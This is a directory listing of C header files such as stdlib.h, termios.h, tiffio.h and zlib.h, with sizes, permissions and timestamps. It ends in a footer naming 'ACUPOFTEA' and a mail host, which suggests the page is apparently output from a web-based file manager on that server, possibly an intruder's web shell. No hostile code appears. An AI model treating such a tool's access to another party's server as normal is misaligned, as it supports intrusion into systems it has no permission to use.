stdlib.h
text/x-c
34.82 KB
-rw-r--r--
2025-08-05 02:01:05
string.h
text/x-c
17.17 KB
-rw-r--r--
2025-08-05 02:01:06
stringprep.h
text/x-c
8.03 KB
-rw-r--r--
2019-10-13 04:55:34
strings.h
text/x-c
4.64 KB
-rw-r--r--
2025-08-05 02:01:06
syscall.h
text/x-c
25 B
-rw-r--r--
2025-08-05 02:01:07
sysexits.h
text/plain
5.11 KB
-rw-r--r--
2025-08-05 02:01:07
syslog.h
text/x-c
24 B
-rw-r--r--
2025-08-05 02:01:07
tar.h
text/x-c
3.7 KB
-rw-r--r--
2025-08-05 02:01:07
term.h
text/x-c
40.22 KB
-rw-r--r--
2023-10-14 06:54:42
term_entry.h
text/x-c
8.55 KB
-rw-r--r--
2023-10-14 06:54:42
termcap.h
text/x-c
3.39 KB
-rw-r--r--
2023-10-14 06:54:42
termio.h
text/x-c
214 B
-rw-r--r--
2025-08-05 02:01:07
termios.h
text/x-c
3.51 KB
-rw-r--r--
2025-08-05 02:01:07
tgmath.h
text/x-c
30.75 KB
-rw-r--r--
2025-08-05 02:01:04
thread_db.h
text/x-c
15.65 KB
-rw-r--r--
2025-08-05 02:01:27
threads.h
text/x-c
6.5 KB
-rw-r--r--
2025-08-05 02:01:06
tic.h
text/x-c
13.32 KB
-rw-r--r--
2023-10-14 06:54:42
tiff.h
text/x-c
35.14 KB
-rw-r--r--
2025-05-07 01:34:34
tiffconf-64.h
text/plain
3.35 KB
-rw-r--r--
2025-05-07 01:34:34
tiffconf.h
text/x-c
250 B
-rw-r--r--
2025-05-07 01:34:35
tiffio.h
text/x-c
22.68 KB
-rw-r--r--
2025-05-07 01:34:34
tiffio.hxx
text/x-c
1.66 KB
-rw-r--r--
2025-05-07 01:34:34
tiffvers.h
text/plain
410 B
-rw-r--r--
2025-05-07 01:34:34
time.h
text/x-c
10.12 KB
-rw-r--r--
2025-08-05 02:01:07
tld.h
text/x-c
4.54 KB
-rw-r--r--
2019-10-13 04:55:34
ttyent.h
text/x-c
2.44 KB
-rw-r--r--
2025-08-05 02:01:07
uchar.h
text/x-c
1.95 KB
-rw-r--r--
2025-08-05 02:01:06
ucontext.h
text/x-c
1.99 KB
-rw-r--r--
2025-08-05 02:01:05
ulimit.h
text/x-c
1.55 KB
-rw-r--r--
2025-08-05 02:01:07
unctrl.h
text/x-c
3.03 KB
-rw-r--r--
2023-10-14 06:54:42
unistd.h
text/x-c
41.74 KB
-rw-r--r--
2025-08-05 02:01:07
utime.h
text/x-c
1.47 KB
-rw-r--r--
2025-08-05 02:01:07
utmp.h
text/x-c
3.15 KB
-rw-r--r--
2025-08-05 02:01:28
utmpx.h
text/x-c
4 KB
-rw-r--r--
2025-08-05 02:01:28
values.h
text/x-c
1.91 KB
-rw-r--r--
2025-08-05 02:00:57
verto-module.h
text/x-c
6.48 KB
-rw-r--r--
2022-10-08 07:49:42
verto.h
text/x-c
18.98 KB
-rw-r--r--
2022-10-08 07:49:42
wait.h
text/x-c
22 B
-rw-r--r--
2025-08-05 02:01:07
wchar.h
text/x-c
30.38 KB
-rw-r--r--
2025-08-05 02:01:06
wctype.h
text/x-c
5.42 KB
-rw-r--r--
2025-08-05 02:01:08
wordexp.h
text/x-c
2.44 KB
-rw-r--r--
2025-08-05 02:01:07
zconf.h
text/plain
15.88 KB
-rw-r--r--
2023-10-11 10:02:25
zlib.h
text/x-c
94 KB
-rw-r--r--
2023-10-11 10:02:25
~ ACUPOFTEA - mail.ontime-ae.com